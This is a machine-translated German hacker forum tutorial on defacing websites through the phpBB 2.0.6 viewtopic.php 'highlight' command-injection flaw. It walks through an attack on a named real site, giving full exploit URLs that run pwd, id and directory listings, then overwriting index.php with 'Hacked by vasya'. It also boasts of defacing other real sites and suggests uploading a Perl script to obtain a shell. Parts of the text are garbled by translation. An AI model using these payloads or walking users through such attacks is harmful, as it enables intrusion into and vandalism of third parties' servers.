This page has been robot translated, sorry for typos if any. Original content here.

Kompletter Leitfaden zur Verunstaltung (aktualisiert)

Einleitung
Ich sehe oft die Frage auf dem Forum: "Wie man die Seiten zusammenbricht?" oder "Wie entwickle ich die Site neu?". Heute können Sie das Portal ohne Aufwand aufbrechen! Alle Liebhaber leichter Beute lade ich ein! =)

Hauptteil
Heute werde ich darüber sprechen, wie man die Unterschiede zwischen verschiedenen Seiten durch Fehler in populären Skripten korrigieren kann. Kürzlich wurde in der populären phpBB-Engine ein ernsthaftes Sicherheitsloch entdeckt.
Die Sicherheitslücke wurde im Modul viewtopic.php entdeckt

Der Punkt ist, dass der entfernte Angreifer ein willkürliches PHP-Skript auf dem anfälligen System ausführen kann, wenn er über eine solche Zeile geht. Viewtopic.php? T = 1 & highlight =% 27

Wie Sie wahrscheinlich schon erraten haben, können Sie mit dieser Sicherheitslücke beliebige Befehle beliebiger Länge auf einem anfälligen Server ausführen. Heute werden wir dieses Loch benutzen, und zusammen mit Ihnen werden wir den echten Server brechen. Unser Ziel wird genau die Verunstaltung sein, dh die Ersetzung der Hauptseite der Website durch unsere.

Beginnen wir also, unser Opfer wird www.maxmuscle.dk sein (zum Zeitpunkt der Veröffentlichung ist das Portal gegen Schwachstellen resistent).
Das erste, was uns beim Besuch dieser Seite auffällt, ist, dass es auf Basis des Portals php-nuke aufgebaut ist.

Standardmäßig ist phpBB das Forum in diesem System. Wir klicken auf den Link, der uns zum Forum führt, (http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&file=index.php) und stellen Sie sicher, dass dies phpBB Version 2.0.6 ist .

Wir übergeben folgende Anfrage an das Forum:

http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&file=viewtopic.php&t=2&highlight=%27.$poster=`$ls`.%27&l s =

und feststellen, dass der Motor die Linie absorbiert hat, wie durch die charakteristische Inschrift anstelle des Spitznamens eines der Benutzer belegt: ") #i". Aber das bedeutet nichts, wir können die Ausführung von Befehlen auf diesem Server leicht abbrechen, aber wir werden nicht raten und nur versuchen, es auszuführen:

http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&file=viewtopic.php&t=2&highlight=%27.$poster=`$ls`.%27&l s = pwd

Dieser Befehl (pwd) sollte uns das Verzeichnis zeigen, in dem wir uns jetzt befinden, dann folgt, dass die Ausführung von Befehlen auf dem Server möglich ist. Dies ist was passiert. Der Pfad des Verzeichnisses / var / www / html / osclux / wird angezeigt. Der nächste Befehl ist "id", um unseren Zugriff zu testen.

Wie wir die Rechte sehen, haben wir uid = 99 (nobody) , also die Rechte des Webservers. Jetzt zeigen wir die Liste der Ordner und Dateien im Verzeichnis html_public an, mit dem Befehl "dir / var / www / html / osclux" und finden, dass die index.php, die wir für diese Verunstaltung benötigen, in diesem Verzeichnis liegt.

Also, wir sind auf der Ziellinie - indem wir den Befehl echo Hacked by vasya> index.php ausführen, werden wir die Hauptseite mit der Inschrift "Hacked by vasya" anzeigen. Überprüfung. Es stellte sich heraus.

Du hast eine Verunstaltung gemacht.

Anstatt zu schließen
Es war auf eine so einfache Weise, dass die hackzona.ru verunstaltet wurde, so war das Forum auf nsd.ru kaputt. Ich stelle auch fest, dass dies die einfachste Implementierung dieses Lochs ist. Unter guten Bedingungen können Sie es einfach auf einen Server fluten, der einen bestimmten Port hört, ein Skript auf einer Perle, und eine vollständige Shell ohne Rechte erhalten.